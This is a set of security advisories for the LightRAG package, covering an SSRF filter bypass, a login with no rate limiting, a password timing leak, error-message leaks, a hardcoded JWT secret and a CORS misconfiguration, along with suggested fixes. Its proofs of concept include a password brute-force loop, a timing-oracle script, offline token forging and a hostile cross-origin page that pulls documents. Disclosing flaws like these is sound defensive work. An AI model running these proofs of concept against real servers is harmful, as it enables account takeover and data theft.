LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


